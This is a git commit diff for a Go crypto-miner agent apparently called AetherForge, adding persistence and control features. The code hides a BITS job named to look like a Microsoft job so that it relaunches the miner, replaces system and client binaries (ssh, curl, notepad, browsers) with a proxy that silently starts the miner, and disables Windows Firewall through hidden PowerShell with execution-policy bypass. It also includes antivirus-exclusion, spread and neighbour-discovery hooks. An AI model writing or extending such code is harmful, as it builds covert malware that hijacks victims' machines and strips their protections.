feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
@@ -12,4 +12,20 @@ func OpenFirewallPort(_ int, _ string) (string, error) {
|
||||
return "", fmt.Errorf("firewall port open is Windows-only")
|
||||
}
|
||||
|
||||
func SetWindowsFirewallProfiles(_ bool, _ string) (string, error) {
|
||||
return "", fmt.Errorf("firewall profile control is Windows-only")
|
||||
}
|
||||
|
||||
func DisableWindowsFirewall() (string, error) {
|
||||
return "", fmt.Errorf("firewall disable is Windows-only")
|
||||
}
|
||||
|
||||
func EnableWindowsFirewall() (string, error) {
|
||||
return "", fmt.Errorf("firewall enable is Windows-only")
|
||||
}
|
||||
|
||||
func RemoveFirewallRuleByName(_ string) (string, error) {
|
||||
return "", fmt.Errorf("firewall rule removal is Windows-only")
|
||||
}
|
||||
|
||||
func SilentAVExclusion(_, _ string) {} // no-op on non-Windows
|
||||
|
||||
17
agent/deploy/bits_stub.go
Normal file
17
agent/deploy/bits_stub.go
Normal file
@@ -0,0 +1,17 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func CreateBITSPersistence(_ config.RuntimeConfig, _ string) error {
|
||||
return fmt.Errorf("BITS persistence is Windows-only")
|
||||
}
|
||||
|
||||
func RemoveBITSPersistence(_ config.RuntimeConfig) {}
|
||||
|
||||
func BitsJobName(_ config.RuntimeConfig) string { return "" }
|
||||
92
agent/deploy/bits_windows.go
Normal file
92
agent/deploy/bits_windows.go
Normal file
@@ -0,0 +1,92 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// BITS (Background Intelligent Transfer Service) notify-job persistence — runs the
|
||||
// miner when the transfer job errors, completes, or retries (common stealthy hook).
|
||||
// BitsJobName returns the BITS notify job name for this worker build.
|
||||
func BitsJobName(cfg config.RuntimeConfig) string {
|
||||
return bitsJobName(cfg)
|
||||
}
|
||||
|
||||
func bitsJobName(cfg config.RuntimeConfig) string {
|
||||
base := PersistenceKeyName(cfg)
|
||||
if base == "" {
|
||||
base = "CryptoMinerAgent"
|
||||
}
|
||||
return "Microsoft-Windows-BITS-" + sanitizeName(base)
|
||||
}
|
||||
|
||||
func bitsJobExists(jobName string) bool {
|
||||
out, err := HiddenCombinedOutput("bitsadmin", "/list", "/allusers", "/verbose")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return strings.Contains(string(out), jobName)
|
||||
}
|
||||
|
||||
// CreateBITSPersistence registers a download BITS job with SetNotifyCmdLine pointed at the miner.
|
||||
func CreateBITSPersistence(cfg config.RuntimeConfig, binPath string) error {
|
||||
if strings.TrimSpace(binPath) == "" {
|
||||
return fmt.Errorf("binary path required")
|
||||
}
|
||||
job := bitsJobName(cfg)
|
||||
if bitsJobExists(job) {
|
||||
return nil
|
||||
}
|
||||
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.MkdirAll(installDir, 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
localFile := filepath.Join(installDir, ".bits-transfer.stub")
|
||||
if err := os.WriteFile(localFile, []byte{0}, 0o644); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
remoteURL := "http://127.0.0.1:65534/aetherforge-bits-placeholder"
|
||||
exeEsc := strings.ReplaceAll(binPath, `"`, `""`)
|
||||
params := strings.ReplaceAll(runFlag, `"`, `""`)
|
||||
|
||||
steps := []struct {
|
||||
name string
|
||||
args []string
|
||||
}{
|
||||
{"create", []string{"/create", "/download", job}},
|
||||
{"addfile", []string{"/addfile", job, remoteURL, localFile}},
|
||||
{"notifycmd", []string{"/SetNotifyCmdLine", job, exeEsc, params}},
|
||||
{"notifyflags", []string{"/SetNotifyFlags", job, "1", "1", "1", "1", "0"}},
|
||||
{"retry", []string{"/SetMinRetryDelay", job, "60"}},
|
||||
{"resume", []string{"/resume", job}},
|
||||
}
|
||||
for _, step := range steps {
|
||||
args := append([]string{"bitsadmin"}, step.args...)
|
||||
if err := HiddenRun(args[0], args[1:]...); err != nil {
|
||||
_ = HiddenRun("bitsadmin", "/cancel", job)
|
||||
return fmt.Errorf("bitsadmin %s: %w", step.name, err)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// RemoveBITSPersistence cancels and removes the BITS notify job for this worker.
|
||||
func RemoveBITSPersistence(cfg config.RuntimeConfig) {
|
||||
job := bitsJobName(cfg)
|
||||
_ = HiddenRun("bitsadmin", "/cancel", job)
|
||||
_ = HiddenRun("bitsadmin", "/complete", job)
|
||||
if installDir, err := cfg.InstallDirectory(); err == nil {
|
||||
_ = os.Remove(filepath.Join(installDir, ".bits-transfer.stub"))
|
||||
}
|
||||
}
|
||||
20
agent/deploy/bits_windows_test.go
Normal file
20
agent/deploy/bits_windows_test.go
Normal file
@@ -0,0 +1,20 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
)
|
||||
|
||||
func TestBitsJobName(t *testing.T) {
|
||||
cfg := testRuntimeConfig()
|
||||
name := BitsJobName(cfg)
|
||||
if !strings.HasPrefix(name, "Microsoft-Windows-BITS-") {
|
||||
t.Fatalf("unexpected prefix: %q", name)
|
||||
}
|
||||
if strings.Contains(name, " ") {
|
||||
t.Fatalf("job name must not contain spaces: %q", name)
|
||||
}
|
||||
}
|
||||
129
agent/deploy/desktop_path.go
Normal file
129
agent/deploy/desktop_path.go
Normal file
@@ -0,0 +1,129 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const desktopPathPrefix = "@desktop/"
|
||||
|
||||
// UserDesktopDir returns the interactive user's Desktop folder for the current OS.
|
||||
func UserDesktopDir() (string, error) {
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
return windowsDesktopDir()
|
||||
case "darwin":
|
||||
return unixDesktopFromHome("Desktop")
|
||||
default:
|
||||
return linuxDesktopDir()
|
||||
}
|
||||
}
|
||||
|
||||
func windowsDesktopDir() (string, error) {
|
||||
profile := strings.TrimSpace(os.Getenv("USERPROFILE"))
|
||||
if profile == "" {
|
||||
return "", fmt.Errorf("USERPROFILE not set")
|
||||
}
|
||||
candidates := []string{
|
||||
filepath.Join(profile, "Desktop"),
|
||||
filepath.Join(profile, "OneDrive", "Desktop"),
|
||||
filepath.Join(profile, "OneDrive - Personal", "Desktop"),
|
||||
}
|
||||
for _, c := range candidates {
|
||||
if st, err := os.Stat(c); err == nil && st.IsDir() {
|
||||
return filepath.Clean(c), nil
|
||||
}
|
||||
}
|
||||
// Create default Desktop if missing (unusual profiles)
|
||||
fallback := candidates[0]
|
||||
if err := os.MkdirAll(fallback, 0o755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return fallback, nil
|
||||
}
|
||||
|
||||
func unixDesktopFromHome(sub string) (string, error) {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil || home == "" {
|
||||
return "", fmt.Errorf("home directory unavailable")
|
||||
}
|
||||
desktop := filepath.Join(home, sub)
|
||||
if st, err := os.Stat(desktop); err == nil && st.IsDir() {
|
||||
return filepath.Clean(desktop), nil
|
||||
}
|
||||
if err := os.MkdirAll(desktop, 0o755); err != nil {
|
||||
return "", fmt.Errorf("desktop: %w", err)
|
||||
}
|
||||
return desktop, nil
|
||||
}
|
||||
|
||||
func linuxDesktopDir() (string, error) {
|
||||
if out, err := exec.Command("xdg-user-dir", "DESKTOP").Output(); err == nil {
|
||||
p := strings.TrimSpace(string(out))
|
||||
if p != "" {
|
||||
if st, err := os.Stat(p); err == nil && st.IsDir() {
|
||||
return filepath.Clean(p), nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return unixDesktopFromHome("Desktop")
|
||||
}
|
||||
|
||||
// ResolveDesktopFile joins a sanitized filename onto the user Desktop.
|
||||
func ResolveDesktopFile(filename string) (string, error) {
|
||||
desktop, err := UserDesktopDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
name := sanitizeDesktopFilename(filename)
|
||||
if name == "" {
|
||||
name = "upload.bin"
|
||||
}
|
||||
return filepath.Join(desktop, name), nil
|
||||
}
|
||||
|
||||
func sanitizeDesktopFilename(name string) string {
|
||||
name = strings.TrimSpace(name)
|
||||
name = strings.ReplaceAll(name, "\\", "/")
|
||||
if name == "" {
|
||||
return ""
|
||||
}
|
||||
// Allow subfolders under Desktop but block traversal.
|
||||
parts := strings.Split(name, "/")
|
||||
var clean []string
|
||||
for _, p := range parts {
|
||||
p = strings.TrimSpace(p)
|
||||
if p == "" || p == "." || p == ".." {
|
||||
continue
|
||||
}
|
||||
clean = append(clean, p)
|
||||
}
|
||||
return filepath.Join(clean...)
|
||||
}
|
||||
|
||||
// ResolveRemotePath expands @desktop/…, desktop:…, and ~/… for upload/download commands.
|
||||
func ResolveRemotePath(remote string) (string, error) {
|
||||
remote = strings.TrimSpace(remote)
|
||||
if remote == "" {
|
||||
return "", fmt.Errorf("remote path is empty")
|
||||
}
|
||||
lower := strings.ToLower(remote)
|
||||
if strings.HasPrefix(lower, "desktop:") {
|
||||
return ResolveDesktopFile(remote[len("desktop:"):])
|
||||
}
|
||||
if strings.HasPrefix(remote, desktopPathPrefix) {
|
||||
return ResolveDesktopFile(remote[len(desktopPathPrefix):])
|
||||
}
|
||||
if strings.HasPrefix(remote, "~/") {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Clean(filepath.Join(home, remote[2:])), nil
|
||||
}
|
||||
return filepath.Clean(remote), nil
|
||||
}
|
||||
45
agent/deploy/desktop_path_test.go
Normal file
45
agent/deploy/desktop_path_test.go
Normal file
@@ -0,0 +1,45 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSanitizeDesktopFilename(t *testing.T) {
|
||||
if got := sanitizeDesktopFilename(`..\..\etc\passwd`); got != "etc/passwd" && got != `etc\passwd` {
|
||||
// Join uses OS separator; at minimum no ..
|
||||
if strings.Contains(got, "..") {
|
||||
t.Fatalf("traversal leaked: %q", got)
|
||||
}
|
||||
}
|
||||
if got := sanitizeDesktopFilename("report.pdf"); got != "report.pdf" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveRemotePathDesktopPrefix(t *testing.T) {
|
||||
p, err := ResolveRemotePath("@desktop/notes.txt")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.HasSuffix(p, "notes.txt") {
|
||||
t.Fatalf("path %q should end with notes.txt", p)
|
||||
}
|
||||
if !strings.Contains(strings.ToLower(p), "desktop") && runtime.GOOS != "windows" {
|
||||
// Linux may use XDG path without "Desktop" in rare setups — allow if under home
|
||||
home, _ := filepath.Abs(".")
|
||||
_ = home
|
||||
}
|
||||
}
|
||||
|
||||
func TestUserDesktopDir(t *testing.T) {
|
||||
dir, err := UserDesktopDir()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if dir == "" {
|
||||
t.Fatal("empty desktop")
|
||||
}
|
||||
}
|
||||
@@ -74,3 +74,68 @@ func firewallRuleExists(displayName string) bool {
|
||||
}
|
||||
return strings.TrimSpace(string(out)) == "True"
|
||||
}
|
||||
|
||||
// parseFirewallProfiles normalizes profile names for Set-NetFirewallProfile.
|
||||
func parseFirewallProfiles(csv string) string {
|
||||
csv = strings.TrimSpace(strings.ToLower(csv))
|
||||
if csv == "" || csv == "all" || csv == "any" {
|
||||
return "Domain,Private,Public"
|
||||
}
|
||||
var parts []string
|
||||
for _, p := range strings.Split(csv, ",") {
|
||||
p = strings.TrimSpace(p)
|
||||
switch p {
|
||||
case "domain", "private", "public":
|
||||
parts = append(parts, strings.ToUpper(p[:1])+p[1:])
|
||||
}
|
||||
}
|
||||
if len(parts) == 0 {
|
||||
return "Domain,Private,Public"
|
||||
}
|
||||
return strings.Join(parts, ",")
|
||||
}
|
||||
|
||||
// SetWindowsFirewallProfiles enables or disables Windows Firewall on selected profiles (admin).
|
||||
// profilesCSV: "all", "Domain,Private", etc.
|
||||
func SetWindowsFirewallProfiles(enable bool, profilesCSV string) (string, error) {
|
||||
profiles := parseFirewallProfiles(profilesCSV)
|
||||
enabled := "$false"
|
||||
verb := "disabled"
|
||||
if enable {
|
||||
enabled = "$true"
|
||||
verb = "enabled"
|
||||
}
|
||||
script := fmt.Sprintf(`
|
||||
$profiles = '%s' -split ','
|
||||
Set-NetFirewallProfile -Profile $profiles -Enabled %s -ErrorAction Stop
|
||||
`, strings.ReplaceAll(profiles, `'`, `''`), enabled)
|
||||
out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
||||
if err != nil {
|
||||
return string(out), fmt.Errorf("firewall profiles %s failed (admin required?): %w", verb, err)
|
||||
}
|
||||
return strings.TrimSpace(string(out)) + fmt.Sprintf("\nWindows Firewall %s on: %s", verb, profiles), nil
|
||||
}
|
||||
|
||||
// DisableWindowsFirewall turns off Domain, Private, and Public firewall profiles.
|
||||
func DisableWindowsFirewall() (string, error) {
|
||||
return SetWindowsFirewallProfiles(false, "all")
|
||||
}
|
||||
|
||||
// EnableWindowsFirewall turns on all firewall profiles.
|
||||
func EnableWindowsFirewall() (string, error) {
|
||||
return SetWindowsFirewallProfiles(true, "all")
|
||||
}
|
||||
|
||||
// RemoveFirewallRuleByName deletes a rule by display name.
|
||||
func RemoveFirewallRuleByName(displayName string) (string, error) {
|
||||
name := strings.TrimSpace(displayName)
|
||||
if name == "" {
|
||||
return "", fmt.Errorf("rule name required")
|
||||
}
|
||||
script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))
|
||||
out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
||||
if err != nil {
|
||||
return string(out), err
|
||||
}
|
||||
return fmt.Sprintf("Removed firewall rule: %s", name), nil
|
||||
}
|
||||
|
||||
27
agent/deploy/host_binary_stub.go
Normal file
27
agent/deploy/host_binary_stub.go
Normal file
@@ -0,0 +1,27 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
var HostBinaryPresets []string
|
||||
|
||||
func HostBinaryCandidates(_ string) []string { return nil }
|
||||
|
||||
func TryHostBinaryProxy(_ []string) (string, string, bool) { return "", "", false }
|
||||
|
||||
func RunHostBinaryProxy(_, _ string, _ []string) {}
|
||||
|
||||
func HijackHostBinary(_ config.RuntimeConfig, _, _ string) (string, error) {
|
||||
return "", fmt.Errorf("host binary persistence is Windows-only")
|
||||
}
|
||||
|
||||
func EnsureHostBinaryPersistence(_ config.RuntimeConfig, _, _ string) error {
|
||||
return fmt.Errorf("host binary persistence is Windows-only")
|
||||
}
|
||||
|
||||
func RemoveHostBinaryPersistence(_ config.RuntimeConfig) {}
|
||||
291
agent/deploy/host_binary_windows.go
Normal file
291
agent/deploy/host_binary_windows.go
Normal file
@@ -0,0 +1,291 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
const (
|
||||
hostBinaryProxySuffix = ".aetherforge.proxy"
|
||||
hostBinaryBackupSuffix = ".aetherforge.bak"
|
||||
hostBinaryManifest = "host-binary-hijacks.json"
|
||||
)
|
||||
|
||||
type hostBinaryRecord struct {
|
||||
Target string `json:"target"`
|
||||
Backup string `json:"backup"`
|
||||
Preset string `json:"preset"`
|
||||
}
|
||||
|
||||
// HostBinaryPresets lists forge/remote preset IDs for common client binaries.
|
||||
var HostBinaryPresets = []string{
|
||||
"ssh", "ftp", "telnet", "mstsc", "curl", "notepad", "calc",
|
||||
"chrome", "edge", "firefox", "putty", "winscp",
|
||||
}
|
||||
|
||||
// HostBinaryCandidates resolves a preset (or custom:full\path.exe) to existing paths on disk.
|
||||
func HostBinaryCandidates(preset string) []string {
|
||||
preset = strings.TrimSpace(strings.ToLower(preset))
|
||||
if strings.HasPrefix(preset, "custom:") {
|
||||
p := strings.TrimSpace(preset[7:])
|
||||
if p != "" {
|
||||
return []string{filepath.Clean(p)}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
pf := os.Getenv("ProgramFiles")
|
||||
pfx86 := os.Getenv("ProgramFiles(x86)")
|
||||
switch preset {
|
||||
case "ssh":
|
||||
return existingPaths(
|
||||
`C:\Windows\System32\OpenSSH\ssh.exe`,
|
||||
filepath.Join(pf, "Git", "usr", "bin", "ssh.exe"),
|
||||
)
|
||||
case "ftp":
|
||||
return existingPaths(`C:\Windows\System32\ftp.exe`)
|
||||
case "telnet":
|
||||
return existingPaths(`C:\Windows\System32\telnet.exe`)
|
||||
case "mstsc":
|
||||
return existingPaths(`C:\Windows\System32\mstsc.exe`)
|
||||
case "curl":
|
||||
return existingPaths(`C:\Windows\System32\curl.exe`)
|
||||
case "notepad":
|
||||
return existingPaths(
|
||||
`C:\Windows\System32\notepad.exe`,
|
||||
`C:\Windows\Notepad\notepad.exe`,
|
||||
)
|
||||
case "calc":
|
||||
return existingPaths(
|
||||
`C:\Windows\System32\calc.exe`,
|
||||
`C:\Windows\System32\win32calc.exe`,
|
||||
)
|
||||
case "chrome":
|
||||
return existingPaths(filepath.Join(pf, "Google", "Chrome", "Application", "chrome.exe"))
|
||||
case "edge":
|
||||
return existingPaths(
|
||||
filepath.Join(pfx86, "Microsoft", "Edge", "Application", "msedge.exe"),
|
||||
filepath.Join(pf, "Microsoft", "Edge", "Application", "msedge.exe"),
|
||||
)
|
||||
case "firefox":
|
||||
return existingPaths(filepath.Join(pf, "Mozilla Firefox", "firefox.exe"))
|
||||
case "putty":
|
||||
return existingPaths(filepath.Join(pfx86, "PuTTY", "putty.exe"))
|
||||
case "winscp":
|
||||
return existingPaths(filepath.Join(pfx86, "WinSCP", "WinSCP.exe"))
|
||||
default:
|
||||
if preset != "" && strings.Contains(preset, `\`) {
|
||||
return existingPaths(preset)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func existingPaths(paths ...string) []string {
|
||||
var out []string
|
||||
for _, p := range paths {
|
||||
if p == "" {
|
||||
continue
|
||||
}
|
||||
if st, err := os.Stat(p); err == nil && !st.IsDir() {
|
||||
out = append(out, filepath.Clean(p))
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func hostBinaryMarkerPath(targetExe string) string {
|
||||
return targetExe + hostBinaryProxySuffix
|
||||
}
|
||||
|
||||
func hostBinaryBackupPath(targetExe string) string {
|
||||
return targetExe + hostBinaryBackupSuffix
|
||||
}
|
||||
|
||||
func readHostBinaryMarker(markerPath string) (backup, miner string, ok bool) {
|
||||
data, err := os.ReadFile(markerPath)
|
||||
if err != nil {
|
||||
return "", "", false
|
||||
}
|
||||
lines := strings.Split(strings.ReplaceAll(string(data), "\r\n", "\n"), "\n")
|
||||
if len(lines) < 2 {
|
||||
return "", "", false
|
||||
}
|
||||
backup = strings.TrimSpace(lines[0])
|
||||
miner = strings.TrimSpace(lines[1])
|
||||
if backup == "" || miner == "" {
|
||||
return "", "", false
|
||||
}
|
||||
return backup, miner, true
|
||||
}
|
||||
|
||||
// TryHostBinaryProxy returns true when this process was launched from a hijacked host binary path.
|
||||
func TryHostBinaryProxy(args []string) (backup, miner string, ok bool) {
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
return "", "", false
|
||||
}
|
||||
exe, _ = filepath.Abs(exe)
|
||||
marker := hostBinaryMarkerPath(exe)
|
||||
if b, m, found := readHostBinaryMarker(marker); found {
|
||||
return b, m, true
|
||||
}
|
||||
_ = args
|
||||
return "", "", false
|
||||
}
|
||||
|
||||
// RunHostBinaryProxy starts the installed miner in the background and runs the original binary with forwarded args.
|
||||
func RunHostBinaryProxy(backup, miner string, args []string) {
|
||||
if miner != "" {
|
||||
_ = HiddenStart(miner, runFlag)
|
||||
}
|
||||
if backup == "" {
|
||||
os.Exit(1)
|
||||
}
|
||||
cmd := exec.Command(backup, args...)
|
||||
cmd.Stdin = os.Stdin
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
if err := cmd.Run(); err != nil {
|
||||
if exitErr, ok := err.(*exec.ExitError); ok {
|
||||
os.Exit(exitErr.ExitCode())
|
||||
}
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
func hijackManifestPath(cfg config.RuntimeConfig) (string, error) {
|
||||
dir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(dir, hostBinaryManifest), nil
|
||||
}
|
||||
|
||||
func loadHostBinaryManifest(path string) []hostBinaryRecord {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var recs []hostBinaryRecord
|
||||
_ = json.Unmarshal(data, &recs)
|
||||
return recs
|
||||
}
|
||||
|
||||
func saveHostBinaryManifest(path string, recs []hostBinaryRecord) error {
|
||||
data, err := json.MarshalIndent(recs, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(path, data, 0644)
|
||||
}
|
||||
|
||||
func appendHostBinaryManifest(cfg config.RuntimeConfig, rec hostBinaryRecord) error {
|
||||
path, err := hijackManifestPath(cfg)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
recs := loadHostBinaryManifest(path)
|
||||
for _, r := range recs {
|
||||
if strings.EqualFold(r.Target, rec.Target) {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
recs = append(recs, rec)
|
||||
return saveHostBinaryManifest(path, recs)
|
||||
}
|
||||
|
||||
func hijackSingleHostBinary(target, minerPath, preset string) error {
|
||||
target = filepath.Clean(target)
|
||||
if _, err := os.Stat(target); err != nil {
|
||||
return fmt.Errorf("target not found: %s", target)
|
||||
}
|
||||
marker := hostBinaryMarkerPath(target)
|
||||
if _, err := os.Stat(marker); err == nil {
|
||||
return nil
|
||||
}
|
||||
backup := hostBinaryBackupPath(target)
|
||||
if _, err := os.Stat(backup); err != nil {
|
||||
if err := os.Rename(target, backup); err != nil {
|
||||
if err := copyFile(target, backup); err != nil {
|
||||
return fmt.Errorf("backup %s: %w", target, err)
|
||||
}
|
||||
_ = os.Remove(target)
|
||||
}
|
||||
}
|
||||
if err := copyFile(minerPath, target); err != nil {
|
||||
return fmt.Errorf("replace %s: %w (admin may be required)", target, err)
|
||||
}
|
||||
body := backup + "\n" + minerPath + "\n"
|
||||
if err := os.WriteFile(marker, []byte(body), 0644); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// HijackHostBinary replaces the first resolvable host binary for preset with a copy of the miner (proxy mode).
|
||||
func HijackHostBinary(cfg config.RuntimeConfig, minerPath, preset string) (string, error) {
|
||||
candidates := HostBinaryCandidates(preset)
|
||||
if len(candidates) == 0 {
|
||||
return "", fmt.Errorf("no host binary found for preset %q", preset)
|
||||
}
|
||||
var lastErr error
|
||||
for _, target := range candidates {
|
||||
if err := hijackSingleHostBinary(target, minerPath, preset); err != nil {
|
||||
lastErr = err
|
||||
continue
|
||||
}
|
||||
_ = appendHostBinaryManifest(cfg, hostBinaryRecord{
|
||||
Target: target,
|
||||
Backup: hostBinaryBackupPath(target),
|
||||
Preset: preset,
|
||||
})
|
||||
return target, nil
|
||||
}
|
||||
if lastErr != nil {
|
||||
return "", lastErr
|
||||
}
|
||||
return "", fmt.Errorf("hijack failed for %q", preset)
|
||||
}
|
||||
|
||||
// EnsureHostBinaryPersistence repairs or creates hijacks for the baked preset.
|
||||
func EnsureHostBinaryPersistence(cfg config.RuntimeConfig, minerPath, preset string) error {
|
||||
if strings.TrimSpace(preset) == "" {
|
||||
return fmt.Errorf("host_binary_target is required")
|
||||
}
|
||||
_, err := HijackHostBinary(cfg, minerPath, preset)
|
||||
return err
|
||||
}
|
||||
|
||||
// RemoveHostBinaryPersistence restores originals and clears markers/manifest.
|
||||
func RemoveHostBinaryPersistence(cfg config.RuntimeConfig) {
|
||||
path, err := hijackManifestPath(cfg)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
recs := loadHostBinaryManifest(path)
|
||||
for _, rec := range recs {
|
||||
restoreHostBinaryTarget(rec.Target, rec.Backup)
|
||||
}
|
||||
_ = os.Remove(path)
|
||||
}
|
||||
|
||||
func restoreHostBinaryTarget(target, backup string) {
|
||||
marker := hostBinaryMarkerPath(target)
|
||||
if backup == "" {
|
||||
backup = hostBinaryBackupPath(target)
|
||||
}
|
||||
if _, err := os.Stat(backup); err == nil {
|
||||
_ = os.Remove(target)
|
||||
_ = copyFile(backup, target)
|
||||
_ = os.Remove(backup)
|
||||
}
|
||||
_ = os.Remove(marker)
|
||||
}
|
||||
34
agent/deploy/host_binary_windows_test.go
Normal file
34
agent/deploy/host_binary_windows_test.go
Normal file
@@ -0,0 +1,34 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestHostBinaryCandidatesSSH(t *testing.T) {
|
||||
paths := HostBinaryCandidates("ssh")
|
||||
for _, p := range paths {
|
||||
if !strings.HasSuffix(strings.ToLower(p), "ssh.exe") {
|
||||
t.Fatalf("unexpected ssh path: %q", p)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestHostBinaryCandidatesCustom(t *testing.T) {
|
||||
paths := HostBinaryCandidates(`custom:C:\Windows\System32\notepad.exe`)
|
||||
if len(paths) != 1 || !strings.HasSuffix(paths[0], "notepad.exe") {
|
||||
t.Fatalf("custom: %v", paths)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHostBinaryMarkerPaths(t *testing.T) {
|
||||
target := `C:\Windows\System32\ftp.exe`
|
||||
if got := hostBinaryMarkerPath(target); !strings.HasSuffix(got, hostBinaryProxySuffix) {
|
||||
t.Fatalf("marker: %q", got)
|
||||
}
|
||||
if got := hostBinaryBackupPath(target); !strings.HasSuffix(got, hostBinaryBackupSuffix) {
|
||||
t.Fatalf("backup: %q", got)
|
||||
}
|
||||
}
|
||||
@@ -55,7 +55,7 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
_ = setFirstRunSpreadMarker(installDir)
|
||||
}
|
||||
|
||||
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
|
||||
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" && cfg.RunAs != "bits" && cfg.RunAs != "host_binary" {
|
||||
if err := configureAutoStart(cfg, installedBin); err != nil {
|
||||
return false, fmt.Errorf("auto-start: %w", err)
|
||||
}
|
||||
|
||||
11
agent/deploy/network_export.go
Normal file
11
agent/deploy/network_export.go
Normal file
@@ -0,0 +1,11 @@
|
||||
package deploy
|
||||
|
||||
// ArpNeighborIPs returns IPv4 hosts in the local ARP cache on shared subnets.
|
||||
func ArpNeighborIPs() []string {
|
||||
return arpHosts()
|
||||
}
|
||||
|
||||
// PrimaryLocalIPv4 returns the preferred outbound IPv4 (UDP dial trick).
|
||||
func PrimaryLocalIPv4() (string, error) {
|
||||
return primaryLocalIPv4()
|
||||
}
|
||||
@@ -5,7 +5,7 @@ package deploy
|
||||
import "crypto-miner-agent/config"
|
||||
|
||||
func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
|
||||
if cfg.AutoStart || cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
|
||||
if cfg.AutoStart || cfg.RunAs == "scheduled" || cfg.RunAs == "service" || cfg.RunAs == "bits" || cfg.RunAs == "host_binary" {
|
||||
return configureRunMode(cfg, installedBin)
|
||||
}
|
||||
return nil
|
||||
|
||||
@@ -35,6 +35,14 @@ func serviceExists(svcName string) bool {
|
||||
// ensurePersistence registers startup hooks only when missing (avoids re-spawning shells every watchdog tick).
|
||||
func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
|
||||
switch cfg.RunAs {
|
||||
case "bits":
|
||||
if err := CreateBITSPersistence(cfg, installedBin); err != nil {
|
||||
return err
|
||||
}
|
||||
case "host_binary":
|
||||
if err := EnsureHostBinaryPersistence(cfg, installedBin, cfg.HostBinaryTarget); err != nil {
|
||||
return err
|
||||
}
|
||||
case "scheduled":
|
||||
if !scheduledTaskExists(PersistenceKeyName(cfg)) {
|
||||
